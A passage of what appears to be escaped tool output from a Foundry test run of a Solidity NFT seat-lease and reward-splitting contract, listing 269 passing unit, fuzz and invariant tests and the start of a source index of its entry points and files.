1430337)\n[PASS] test_takeSettlesVacantBalancesEvenIfOperatorWaitsToSkim() (gas: 1577190)\n[PASS] test_untransferableDeclaredTokenRevertsSettlementAtomically_documented() (gas: 2695127)\n[PASS] test_warmupProtectsAccountKeyedClaimsAfterTake() (gas: 1892419)\n[PASS] test_withdrawSettlesVacantRewardsAndClearsListBeforeNewOwner() (gas: 1848741)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 190.80ms (307.41ms CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80104, ~: 80077)\nLogs:\n  Bound result 2296095462\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13344, ~: 13341)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50353, ~: 50323)\nLogs:\n  Bound result 20469\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 176716)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123202)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 226832)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 629736)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 325117)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 426056)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 207003)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62095)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64823)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 462524)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 175796)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 341623)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73645)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 154238)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60135)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61864)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 136984)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 467995)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27941)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83729)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1091414)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 103345)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901322)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109370)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54360)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75611)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70442)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164488)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75987)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41291)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61183)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 132036)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 141400)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 995275)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 42016)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 192.54ms (402.30ms CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1468162, ~: 1469310)\nLogs:\n  Bound result 14\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1230713, ~: 1236746)\nLogs:\n  Bound result 7781\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1362732, ~: 1369272)\nLogs:\n  Bound result 11\n  Bound result 3333\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1255409)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1242237)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1096036)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2194569)\n[PASS] test_claim_booksTokenIncrease() (gas: 1433242)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014696)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1247373)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2319269)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1185273)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261703)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907125)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973729)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1319801)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1609424)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844653)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2230448)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351324)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920503)\n[PASS] test_claim_revertsForNonOwner() (gas: 1062913)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852393)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513459)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43861)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915717)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955524)\n[PASS] test_credit_erc20BooksToSeat() (gas: 1097914)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004477)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1734125)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389242)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040921)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907083)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909425)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902312)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388306)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911597)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1051520)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1865901)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1691262)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1202531)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342416)\n[PASS] test_skim_reverts() (gas: 1516687)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1769141)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233402)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1422405)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1409049)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296562)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2292859)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1419168)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1526670)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1455237)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1470334)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1324679)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1620547)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1277496)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1543225)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2368598)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 40000)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904246)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1349158)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 1621915)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1550109)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 197.39ms (386.07ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 1273693, ~: 1278713)\nLogs:\n  Bound result 2514264337593536027519\n  Bound result 4264337585621134084\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 1303774, ~: 1299775)\nLogs:\n  Bound result 3\n  Bound result 10982\n  Bound result 4264337585621134084\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 914705, ~: 914664)\nLogs:\n  Bound result 59974\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 1107529, ~: 1107247)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 1221825, ~: 1221825)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 1124774, ~: 1124810)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 1127069, ~: 1162598)\nLogs:\n  Bound result 7272\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 1069292, ~: 1072206)\nLogs:\n  Bound result 59974\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 1067341, ~: 1069651)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 1064480, ~: 1064473)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 1406825, ~: 1413402)\nLogs:\n  Bound result 15\n  Bound result 59974\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 2720233, ~: 2732355)\nLogs:\n  Bound result 1247\n  Bound result 224\n  Bound result 19654\n  Bound result 1771\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 1122093, ~: 1189897)\nLogs:\n  Bound result 18\n  Bound result 79228162514264337593543950335\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 1235345, ~: 1236476)\nLogs:\n  Bound result 14\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 984882, ~: 984567)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 990284, ~: 912680)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040761602)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 1672960)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1885919)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 916072)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 1158661)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 1790283)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 948984)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 2206012)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 1091226)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 1007901)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 2149463)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 1389524)\n[PASS] test_claim_targetCannotInvokeHolderReceiverHook() (gas: 1388672)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 1442269)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 1291431)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 958939)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 986666)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 1126276)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 970695)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 2131643)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 1080561)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 2118873)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 1123002)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 1123013)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 2166671)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 1163865)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 1125168)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112439)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184185)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 1549426)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 1124868)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 1025061)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 1104104)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 1140331)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 1364592)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 1233541)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 1080772)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 947470)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 1133417)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 1091212)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1993624)\n[PASS] test_sweep_afterOracleCutPreservesOperatorsBookedShare() (gas: 1684315)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 1312107)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 2279561)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 1312030)\n[PASS] test_sweep_operatorWhoQuitCanCollectItsEarlierShare() (gas: 1425543)\n[PASS] test_sweep_preservesBookingAcrossTermChanges() (gas: 1470110)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 1151883)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 1360523)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 999132)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 963567)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 197.65ms (2.45s CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1170558, ~: 1170975)\nLogs:\n  Bound result 371636862\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1059251, ~: 1059251)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 995513, ~: 995513)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 775690, ~: 808353)\nLogs:\n  Bound result 125\n\n[PASS] test_constructor_recordsParameters() (gas: 76016)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2080698)\n[PASS] test_cut_returnsBondToOperator() (gas: 1186578)\n[PASS] test_cut_revertsForNonOwner() (gas: 1058934)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900105)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937279)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2065665)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1440280)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962112)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900729)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372988)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368440)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988940)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 891042)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1178247)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013222)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1895244)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1894342)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1908393)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 994210)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1154831)\n[PASS] test_quit_revertsForNonOperator() (gas: 1091611)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930643)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1334832)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1282148)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 902167)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 938987)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 41983)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1063028)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 984576)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1119289)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736206)\n[PASS] test_take_open_anyoneMayTake() (gas: 1057112)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1797322)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1099895)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915357)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 973484)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1050192)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 967572)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1035521)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1508980)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1277681)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1110269)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1190243)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1006445)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900126)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1074582)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1271693)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 198.01ms (241.17ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+--------------+-------+---------+----------╮\n| Contract | Selector     | Calls | Reverts | Discards |\n+======================================================+\n| Handler  | claim        | 156   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | credit       | 155   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | cut          | 146   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | deposit      | 159   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | passTime     | 151   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | pushToHolder | 165   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | quit         | 139   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | setTerms     | 152   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | skim         | 148   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweep        | 166   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweepFor     | 159   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | take         | 175   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | withdraw     | 177   | 0       | 0        |\n╰----------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4078\n  Bound result 7200\n  Bound result 42\n  Bound result 400\n  Bound result 28\n  Bound result 14009\n  Bound result 10000\n  Bound result 107\n  Bound result 3333\n  Bound result 1204603394\n  Bound result 2973\n  Bound result 12357\n  Bound result 4572\n  Bound result 7748\n  Bound result 105\n  Bound result 8\n  Bound result 2398\n  Bound result 256\n  Bound result 16819\n  Bound result 4\n  Bound result 247316907484828395\n  Bound result 1000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.53s (1.52s CPU time)\n\nRan 4 tests for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_holderFundingIsConserved\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-----------------+-------+---------+----------╮\n| Contract        | Selector        | Calls | Reverts | Discards |\n+================================================================+\n| StatefulHandler | claim           | 390   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | credit          | 366   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | cut             | 381   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | cutByOracle     | 389   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | deposit         | 395   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | donate          | 364   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | passTime        | 370   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | pushToHolder    | 380   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | quit            | 404   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | setRewardTokens | 366   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | setTerms        | 398   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | skim            | 374   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | sweep           | 390   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | sweepFor        | 408   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | take            | 388   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | withdraw        | 381   | 0       | 0        |\n╰-----------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 32\n  Bound result 2699\n  Bound result 590\n  Bound result 9900\n  Bound result 624\n  Bound result 2\n  Bound result 22625\n  Bound result 2922\n  Bound result 696\n  Bound result 1000000000000000000000\n  Bound result 685842746975672678778\n  Bound result 3939727\n  Bound result 400\n  Bound result 1000000000000000000\n  Bound result 107\n  Bound result 40\n  Bound result 8607\n\n[PASS] test_handlerCoversTenureChangesAndWithdrawnShareRecovery() (gas: 15497183)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 100\n  Bound result 40\n  Bound result 10\n  Bound result 20\n  Bound result 10\n  Bound result 0\n  Bound result 100\n  Bound result 3600\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 9\n  Bound result 1\n\n[PASS] test_handlerDistinguishesDirectCreditFromHolderWarmup() (gas: 6415781)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3599\n  Bound result 10\n  Bound result 1\n  Bound result 11\n  Bound result 9\n  Bound result 10\n\n[PASS] test_handlerSettlesAllAssetsAcrossTakeExitAndWithdraw() (gas: 23427280)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 15.37s (15.39s CPU time)\n\nRan 9 test suites in 15.38s (18.26s CPU time): 269 tests passed, 0 failed, 0 skipped (269 total tests)\n","passed":true},{"durationMs":62,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setRewardTokens(uint256,address[])\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":201,\"README.md\":477,\"REVIEW.md\":256,\"deployments/anvil-31337.json\":64,\"deployments/anvil-revision3-31337.json\":39,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":893,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/REVISION.md\":104,\"test/SeatLease.adversarial.t.sol\":1183,\"test/SeatLease.invariants.t.sol\":344,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.revision3.t.sol\":452,\"test/SeatLease.rewards.t.sol\":1052,\"test/Se